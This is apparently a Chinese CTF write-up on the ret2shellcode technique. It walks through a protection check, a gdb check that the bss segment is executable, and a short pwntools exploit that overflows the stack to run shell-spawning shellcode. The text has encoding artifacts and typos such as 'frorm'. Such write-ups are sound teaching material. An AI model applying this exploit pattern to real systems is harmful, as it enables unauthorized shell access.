原理
ret2shellcode,即控制程序執(zhí)行 shellcode代碼。shellcode 指的是用于完成某個功能的匯編代碼,常見的功能主要是獲取目標系統(tǒng)的 shell。一般來說,shellcode 需要我們自己填充。這其實是另外一種典型的利用方法,即此時我們需要自己去填充一些可執(zhí)行的代碼。在棧溢出的基礎上,要想執(zhí)行 shellcode,需要對應的 binary 在運行時,shellcode 所在的區(qū)域具有可執(zhí)行權限。
0x1
拿道題之后先查看它的保護機制
-> checksec shellcode
Arch:? ? i386-32-little
RELRO:? ? Partial RELRO
Stack:? ? No canary found
NX:? ? ? NX disabled
PIE:? ? ? No PIE (0x8048000)
RWX:? ? ? Has RWX segments
0x2
發(fā)現文件幾乎沒有開什么保護,并且具有可讀可寫可執(zhí)行的段。程序是32位的,直接扔到32位IDA里


可能存在一個棧溢出的漏洞,我們就可以利用漏洞。簡單分析程序發(fā)現還將輸入到S地址的數據復制到buf2里面,點開buf2發(fā)現buff2在bass段,我們再去找system(“/bin/sh”)按shift+F12發(fā)現沒有/bin/sh

0x3
我們先檢測一下buff2在bass段是否具有可讀可寫的可執(zhí)行的權限,如果有我們就講shellcode寫入拿到想到東西。
b main? //在main函數下斷點
r
vmmap //查看權限

通過 vmmap,我們可以看到 bss 段對應的段具有可執(zhí)行權限,那么這次我們就控制程序執(zhí)行 shellcode,也就是讀入 shellcode,然后控制程序執(zhí)行 bss 段處的 shellcode。其中,相應的偏移計算類似于ret2text 中的例子。
exp如下
frorm pwn import*
p = process("./ret2shellcode")? ?
// r = remote('ip',端口)
shellcode = asm(shellcraft.sh())?
//shellcode = asm(shellcraft.i386.linux.sh())
buf2 = 0x804a080
p.sendline(shellcode.ljust(112,'a') + p32(buf2))
p.interactive()
此篇文章如果存在問題,還望大佬批評指正